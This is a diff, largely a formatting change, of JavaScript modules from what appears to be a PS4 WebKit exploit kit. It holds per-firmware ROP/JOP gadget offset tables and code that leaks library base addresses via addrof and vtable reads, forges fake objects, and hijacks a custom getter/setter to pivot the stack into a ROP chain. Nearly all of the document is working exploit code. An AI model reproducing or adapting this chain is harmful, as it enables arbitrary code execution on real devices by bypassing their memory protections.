const base = this.__proto__;
return new this(base.from(...args).buffer);
};
res.of = function of(...args) {
const base = this.__proto__;
return new this(base.of(...args).buffer);
};
}
return res;
}
export class View1 extends ViewMixin(Uint8Array) {}
@@ -98,58 +98,59 @@ export class View2 extends ViewMixin(Uint16Array) {}
export class View4 extends ViewMixin(Uint32Array) {}
export class Buffer extends BufferView {
get addr() {
let res = this._addr_cache;
if (res !== undefined) {
return res;
}
res = mt.get_view_vector(this);
this._addr_cache = res;
return res;
get addr() {
let res = this._addr_cache;
if (res !== undefined) {
return res;
}
res = mt.get_view_vector(this);
this._addr_cache = res;
return res;
}
get size() {
return this.byteLength;
}
get size() {
return this.byteLength;
}
addr_at(index) {
return this.addr.add(index);
}
addr_at(index) {
return this.addr.add(index);
}
}
// see from() and of() comment above
if (0x600 <= config.target && config.target < 0x1000) {
Buffer.from = function from(...args) {
const base = this.__proto__;
return new this(base.from(...args).buffer);
};
Buffer.of = function of(...args) {
const base = this.__proto__;
return new this(base.of(...args).buffer);
};
Buffer.from = function from(...args) {
const base = this.__proto__;
return new this(base.from(...args).buffer);
};
Buffer.of = function of(...args) {
const base = this.__proto__;
return new this(base.of(...args).buffer);
};
}
const VariableMixin = superclass => class extends superclass {
constructor(value=0) {
// unlike the View classes, we don't allow number coercion. we
// explicitly allow floats unlike Int
if (typeof value !== 'number') {
throw TypeError('value not a number');
}
super([value]);
const VariableMixin = (superclass) =>
class extends superclass {
constructor(value = 0) {
// unlike the View classes, we don't allow number coercion. we
// explicitly allow floats unlike Int
if (typeof value !== "number") {
throw TypeError("value not a number");
}
super([value]);
}
addr_at(...args) {
throw TypeError('unimplemented method');
throw TypeError("unimplemented method");
}
[Symbol.toPrimitive](hint) {
return this[0];
return this[0];
}
toString(...args) {
return this[0].toString(...args);
return this[0].toString(...args);
}
};
};
export class Byte extends VariableMixin(View1) {}
export class Short extends VariableMixin(View2) {}
@@ -157,105 +158,103 @@ export class Short extends VariableMixin(View2) {}
export class Word extends VariableMixin(View4) {}
export class LongArray {
constructor(length) {
this.buffer = new DataView(new ArrayBuffer(length * 8));
}
constructor(length) {
this.buffer = new DataView(new ArrayBuffer(length * 8));
}
get addr() {
return mt.get_view_vector(this.buffer);
}
get addr() {
return mt.get_view_vector(this.buffer);
}
addr_at(index) {
return this.addr.add(index * 8);
}
addr_at(index) {
return this.addr.add(index * 8);
}
get length() {
return this.buffer.length / 8;
}
get length() {
return this.buffer.length / 8;
}
get size() {
return this.buffer.byteLength;
}
get size() {
return this.buffer.byteLength;
}
get byteLength() {
return this.size;
}
get byteLength() {
return this.size;
}
get(index) {
const buffer = this.buffer;
const base = index * 8;
return new Int(
buffer.getUint32(base, true),
buffer.getUint32(base + 4, true),
);
}
get(index) {
const buffer = this.buffer;
const base = index * 8;
return new Int(buffer.getUint32(base, true), buffer.getUint32(base + 4, true));
}
set(index, value) {
const buffer = this.buffer;
const base = index * 8;
const values = lohi_from_one(value);
set(index, value) {
const buffer = this.buffer;
const base = index * 8;
const values = lohi_from_one(value);
buffer.setUint32(base, values[0], true);
buffer.setUint32(base + 4, values[1], true);
}
buffer.setUint32(base, values[0], true);
buffer.setUint32(base + 4, values[1], true);
}
}
// mutable Int (we are explicitly using Int's private fields)
const Word64Mixin = superclass => class extends superclass {
const Word64Mixin = (superclass) =>
class extends superclass {
constructor(...args) {
if (!args.length) {
return super(0);
}
super(...args);
if (!args.length) {
return super(0);
}
super(...args);
}
get addr() {
// assume this is safe to cache
return mt.get_view_vector(this._u32);
// assume this is safe to cache
return mt.get_view_vector(this._u32);
}
get length() {
return 1;
return 1;
}
get size() {
return 8;
return 8;
}
get byteLength() {
return 8;
return 8;
}
// no setters for top and bot since low/high can accept negative integers
get lo() {
return super.lo;
return super.lo;
}
set lo(value) {
this._u32[0] = value;
this._u32[0] = value;
}
get hi() {
return super.hi;
return super.hi;
}
set hi(value) {
this._u32[1] = value;
this._u32[1] = value;
}
set(value) {
const buffer = this._u32;
const values = lohi_from_one(value);
const buffer = this._u32;
const values = lohi_from_one(value);
buffer[0] = values[0];
buffer[1] = values[1];
buffer[0] = values[0];
buffer[1] = values[1];
}
};
};
export class Long extends Word64Mixin(Int) {
as_addr() {
return new Addr(this);
}
as_addr() {
return new Addr(this);
}
}
export class Pointer extends Word64Mixin(Addr) {}

File diff suppressed because it is too large Load Diff

View File

@@ -17,18 +17,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.00, 8.01, 8.03
import { mem } from '../../module/mem.mjs';
import { KB } from '../../module/offset.mjs';
import { ChainBase, get_gadget } from '../../module/chain.mjs';
import { BufferView } from '../../module/rw.mjs';
import { mem } from "../../module/mem.mjs";
import { KB } from "../../module/offset.mjs";
import { ChainBase, get_gadget } from "../../module/chain.mjs";
import { BufferView } from "../../module/rw.mjs";
import {
get_view_vector,
resolve_import,
init_syscall_array,
} from '../../module/memtools.mjs';
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
import * as off from '../../module/offset.mjs';
import * as off from "../../module/offset.mjs";
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x8d8;
@@ -68,7 +64,7 @@ push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = 'pop rsp; ret';
const jop5 = "pop rsp; ret";
// the ps4 firmware is compiled to use rbp as a frame pointer
//
@@ -83,179 +79,186 @@ const jop5 = 'pop rsp; ret';
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000035a1b, // `58 c3`
'pop rbx; ret' : 0x000000000001537c, // `5b c3`
'pop rcx; ret' : 0x0000000000025ecb, // `59 c3`
'pop rdx; ret' : 0x0000000000060f52, // `5a c3`
const webkit_gadget_offsets = new Map(
Object.entries({
"pop rax; ret": 0x0000000000035a1b, // `58 c3`
"pop rbx; ret": 0x000000000001537c, // `5b c3`
"pop rcx; ret": 0x0000000000025ecb, // `59 c3`
"pop rdx; ret": 0x0000000000060f52, // `5a c3`
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
'pop rsi; ret' : 0x000000000003bd77, // `5e c3`
'pop rdi; ret' : 0x00000000001e3f87, // `5f c3`
'pop rsp; ret' : 0x00000000000bf669, // `5c c3`
"pop rbp; ret": 0x00000000000000b6, // `5d c3`
"pop rsi; ret": 0x000000000003bd77, // `5e c3`
"pop rdi; ret": 0x00000000001e3f87, // `5f c3`
"pop rsp; ret": 0x00000000000bf669, // `5c c3`
'pop r8; ret' : 0x00000000005ee860, // `41 58 c3`
'pop r9; ret' : 0x00000000006f501f, // `47 59 c3`
'pop r10; ret' : 0x0000000000060f51, // `47 5a c3`
'pop r11; ret' : 0x00000000013cad93, // `41 5b c3`
"pop r8; ret": 0x00000000005ee860, // `41 58 c3`
"pop r9; ret": 0x00000000006f501f, // `47 59 c3`
"pop r10; ret": 0x0000000000060f51, // `47 5a c3`
"pop r11; ret": 0x00000000013cad93, // `41 5b c3`
'pop r12; ret' : 0x0000000000d8968d, // `41 5c c3`
'pop r13; ret' : 0x00000000019a0edb, // `41 5d c3`
'pop r14; ret' : 0x000000000003bd76, // `41 5e c3`
'pop r15; ret' : 0x00000000002499df, // `41 5f c3`
"pop r12; ret": 0x0000000000d8968d, // `41 5c c3`
"pop r13; ret": 0x00000000019a0edb, // `41 5d c3`
"pop r14; ret": 0x000000000003bd76, // `41 5e c3`
"pop r15; ret": 0x00000000002499df, // `41 5f c3`
'ret' : 0x0000000000000032, // `c3`
'leave; ret' : 0x0000000000291fd7, // `c9 c3`
"ret": 0x0000000000000032, // `c3`
"leave; ret": 0x0000000000291fd7, // `c9 c3`
'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62, // `48 8b 00 c3`
'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb, // `48 89 07 c3`
'mov dword ptr [rdi], eax; ret' : 0x000000000001f864, // `89 07 c3`
'mov dword ptr [rax], esi; ret' : 0x00000000002915bc, // `89 30 c3`
"mov rax, qword ptr [rax]; ret": 0x000000000002dc62, // `48 8b 00 c3`
"mov qword ptr [rdi], rax; ret": 0x000000000005b1bb, // `48 89 07 c3`
"mov dword ptr [rdi], eax; ret": 0x000000000001f864, // `89 07 c3`
"mov dword ptr [rax], esi; ret": 0x00000000002915bc, // `89 30 c3`
[jop1] : 0x0000000001988320, // `48 8b 7e 08 48 8b 07 ff 60 70`
[jop2] : 0x000000000076b970, // `55 48 89 e5 48 8b 07 ff 50 30`
[jop3] : 0x0000000000f62f95, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40`
[jop4] : 0x00000000021af6ad, // `52 bf fe 84 97 ac ff 20`
[jop5] : 0x00000000000bf669, // `5c c3`
}));
[jop1]: 0x0000000001988320, // `48 8b 7e 08 48 8b 07 ff 60 70`
[jop2]: 0x000000000076b970, // `55 48 89 e5 48 8b 07 ff 50 30`
[jop3]: 0x0000000000f62f95, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40`
[jop4]: 0x00000000021af6ad, // `52 bf fe 84 97 ac ff 20`
[jop5]: 0x00000000000bf669, // `5c c3`
}),
);
const libc_gadget_offsets = new Map(Object.entries({
'getcontext' : 0x258f4,
'setcontext' : 0x29c58,
}));
const libc_gadget_offsets = new Map(
Object.entries({
"getcontext": 0x258f4,
"setcontext": 0x29c58,
}),
);
const libkernel_gadget_offsets = new Map(Object.entries({
const libkernel_gadget_offsets = new Map(
Object.entries({
// returns the location of errno
'__error' : 0x160c0,
}));
"__error": 0x160c0,
}),
);
export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x236d4a0;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const textarea = document.createElement("textarea");
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x236d4a0;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x12a30;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x12a30;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4eb80;
const libc_base = strlen_addr.sub(off_strlen);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4eb80;
const libc_base = strlen_addr.sub(off_strlen);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
return [libwebkit_base, libkernel_base, libc_base];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain800Base extends ChainBase {
push_end() {
this.push_gadget('leave; ret');
}
push_end() {
this.push_gadget("leave; ret");
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
push_get_retval() {
this.push_gadget("pop rdi; ret");
this.push_value(this.retval_addr);
this.push_gadget("mov qword ptr [rdi], rax; ret");
}
push_get_errno() {
this.push_gadget('pop rdi; ret');
this.push_value(this.errno_addr);
push_get_errno() {
this.push_gadget("pop rdi; ret");
this.push_value(this.errno_addr);
this.push_call(this.get_gadget('__error'));
this.push_call(this.get_gadget("__error"));
this.push_gadget('mov rax, qword ptr [rax]; ret');
this.push_gadget('mov dword ptr [rdi], eax; ret');
}
this.push_gadget("mov rax, qword ptr [rax]; ret");
this.push_gadget("mov dword ptr [rdi], eax; ret");
}
push_clear_errno() {
this.push_call(this.get_gadget('__error'));
this.push_gadget('pop rsi; ret');
this.push_value(0);
this.push_gadget('mov dword ptr [rax], esi; ret');
}
push_clear_errno() {
this.push_call(this.get_gadget("__error"));
this.push_gadget("pop rsi; ret");
this.push_value(0);
this.push_gadget("mov dword ptr [rax], esi; ret");
}
}
export class Chain800 extends Chain800Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain800;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {
get launch() {
throw Error("never call");
},
0: 1.1,
};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
Chain.init_class(gadgets, syscall_array);
}

View File

@@ -17,18 +17,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.50, 8.52
import { mem } from '../../module/mem.mjs';
import { KB } from '../../module/offset.mjs';
import { ChainBase, get_gadget } from '../../module/chain.mjs';
import { BufferView } from '../../module/rw.mjs';
import { mem } from "../../module/mem.mjs";
import { KB } from "../../module/offset.mjs";
import { ChainBase, get_gadget } from "../../module/chain.mjs";
import { BufferView } from "../../module/rw.mjs";
import {
get_view_vector,
resolve_import,
init_syscall_array,
} from '../../module/memtools.mjs';
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
import * as off from '../../module/offset.mjs';
import * as off from "../../module/offset.mjs";
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x8d8;
@@ -68,7 +64,7 @@ push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = 'pop rsp; ret';
const jop5 = "pop rsp; ret";
// the ps4 firmware is compiled to use rbp as a frame pointer
//
@@ -83,179 +79,186 @@ const jop5 = 'pop rsp; ret';
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x000000000001ac7b, // `58 c3`
'pop rbx; ret' : 0x000000000000c46d, // `5b c3`
'pop rcx; ret' : 0x000000000001ac5f, // `59 c3`
'pop rdx; ret' : 0x0000000000282ea2, // `5a c3`
const webkit_gadget_offsets = new Map(
Object.entries({
"pop rax; ret": 0x000000000001ac7b, // `58 c3`
"pop rbx; ret": 0x000000000000c46d, // `5b c3`
"pop rcx; ret": 0x000000000001ac5f, // `59 c3`
"pop rdx; ret": 0x0000000000282ea2, // `5a c3`
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
'pop rsi; ret' : 0x0000000000050878, // `5e c3`
'pop rdi; ret' : 0x0000000000091afa, // `5f c3`
'pop rsp; ret' : 0x0000000000073c2b, // `5c c3`
"pop rbp; ret": 0x00000000000000b6, // `5d c3`
"pop rsi; ret": 0x0000000000050878, // `5e c3`
"pop rdi; ret": 0x0000000000091afa, // `5f c3`
"pop rsp; ret": 0x0000000000073c2b, // `5c c3`
'pop r8; ret' : 0x000000000003b4b3, // `47 58 c3`
'pop r9; ret' : 0x00000000010f372f, // `47 59 c3`
'pop r10; ret' : 0x0000000000b1a721, // `47 5a c3`
'pop r11; ret' : 0x0000000000eaba69, // `4f 5b c3`
"pop r8; ret": 0x000000000003b4b3, // `47 58 c3`
"pop r9; ret": 0x00000000010f372f, // `47 59 c3`
"pop r10; ret": 0x0000000000b1a721, // `47 5a c3`
"pop r11; ret": 0x0000000000eaba69, // `4f 5b c3`
'pop r12; ret' : 0x0000000000eaf80d, // `47 5c c3`
'pop r13; ret' : 0x00000000019a0d8b, // `41 5d c3`
'pop r14; ret' : 0x0000000000050877, // `41 5e c3`
'pop r15; ret' : 0x00000000007e2efd, // `47 5f c3`
"pop r12; ret": 0x0000000000eaf80d, // `47 5c c3`
"pop r13; ret": 0x00000000019a0d8b, // `41 5d c3`
"pop r14; ret": 0x0000000000050877, // `41 5e c3`
"pop r15; ret": 0x00000000007e2efd, // `47 5f c3`
'ret' : 0x0000000000000032, // `c3`
'leave; ret' : 0x000000000001ba53, // `c9 c3`
"ret": 0x0000000000000032, // `c3`
"leave; ret": 0x000000000001ba53, // `c9 c3`
'mov rax, qword ptr [rax]; ret' : 0x000000000003734c, // `48 8b 00 c3`
'mov qword ptr [rdi], rax; ret' : 0x000000000001433b, // `48 89 07 c3`
'mov dword ptr [rdi], eax; ret' : 0x0000000000008e7f, // `89 07 c3`
'mov dword ptr [rax], esi; ret' : 0x0000000000cf6c22, // `89 30 c3`
"mov rax, qword ptr [rax]; ret": 0x000000000003734c, // `48 8b 00 c3`
"mov qword ptr [rdi], rax; ret": 0x000000000001433b, // `48 89 07 c3`
"mov dword ptr [rdi], eax; ret": 0x0000000000008e7f, // `89 07 c3`
"mov dword ptr [rax], esi; ret": 0x0000000000cf6c22, // `89 30 c3`
[jop1] : 0x0000000000000000, // ``
[jop2] : 0x0000000000000000, // ``
[jop3] : 0x0000000000000000, // ``
[jop4] : 0x0000000000000000, // ``
[jop5] : 0x0000000000000000, // ``
}));
[jop1]: 0x0000000000000000, // ``
[jop2]: 0x0000000000000000, // ``
[jop3]: 0x0000000000000000, // ``
[jop4]: 0x0000000000000000, // ``
[jop5]: 0x0000000000000000, // ``
}),
);
const libc_gadget_offsets = new Map(Object.entries({
'getcontext' : 0x25904,
'setcontext' : 0x29c38,
}));
const libc_gadget_offsets = new Map(
Object.entries({
"getcontext": 0x25904,
"setcontext": 0x29c38,
}),
);
const libkernel_gadget_offsets = new Map(Object.entries({
const libkernel_gadget_offsets = new Map(
Object.entries({
// returns the location of errno
'__error' : 0x10750,
}));
"__error": 0x10750,
}),
);
export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x236d4a0;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const textarea = document.createElement("textarea");
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x236d4a0;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x153c0;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x153c0;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4ef40;
const libc_base = strlen_addr.sub(off_strlen);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4ef40;
const libc_base = strlen_addr.sub(off_strlen);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
return [libwebkit_base, libkernel_base, libc_base];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain850Base extends ChainBase {
push_end() {
this.push_gadget('leave; ret');
}
push_end() {
this.push_gadget("leave; ret");
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
push_get_retval() {
this.push_gadget("pop rdi; ret");
this.push_value(this.retval_addr);
this.push_gadget("mov qword ptr [rdi], rax; ret");
}
push_get_errno() {
this.push_gadget('pop rdi; ret');
this.push_value(this.errno_addr);
push_get_errno() {
this.push_gadget("pop rdi; ret");
this.push_value(this.errno_addr);
this.push_call(this.get_gadget('__error'));
this.push_call(this.get_gadget("__error"));
this.push_gadget('mov rax, qword ptr [rax]; ret');
this.push_gadget('mov dword ptr [rdi], eax; ret');
}
this.push_gadget("mov rax, qword ptr [rax]; ret");
this.push_gadget("mov dword ptr [rdi], eax; ret");
}
push_clear_errno() {
this.push_call(this.get_gadget('__error'));
this.push_gadget('pop rsi; ret');
this.push_value(0);
this.push_gadget('mov dword ptr [rax], esi; ret');
}
push_clear_errno() {
this.push_call(this.get_gadget("__error"));
this.push_gadget("pop rsi; ret");
this.push_value(0);
this.push_gadget("mov dword ptr [rax], esi; ret");
}
}
export class Chain850 extends Chain850Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain850;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {
get launch() {
throw Error("never call");
},
0: 1.1,
};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
Chain.init_class(gadgets, syscall_array);
}

View File

@@ -17,18 +17,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.00, 9.03, 9.04
import { mem } from '../../module/mem.mjs';
import { KB } from '../../module/offset.mjs';
import { ChainBase, get_gadget } from '../../module/chain.mjs';
import { BufferView } from '../../module/rw.mjs';
import { mem } from "../../module/mem.mjs";
import { KB } from "../../module/offset.mjs";
import { ChainBase, get_gadget } from "../../module/chain.mjs";
import { BufferView } from "../../module/rw.mjs";
import {
get_view_vector,
resolve_import,
init_syscall_array,
} from '../../module/memtools.mjs';
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
import * as off from '../../module/offset.mjs';
import * as off from "../../module/offset.mjs";
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x178;
@@ -68,7 +64,7 @@ push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = 'pop rsp; ret';
const jop5 = "pop rsp; ret";
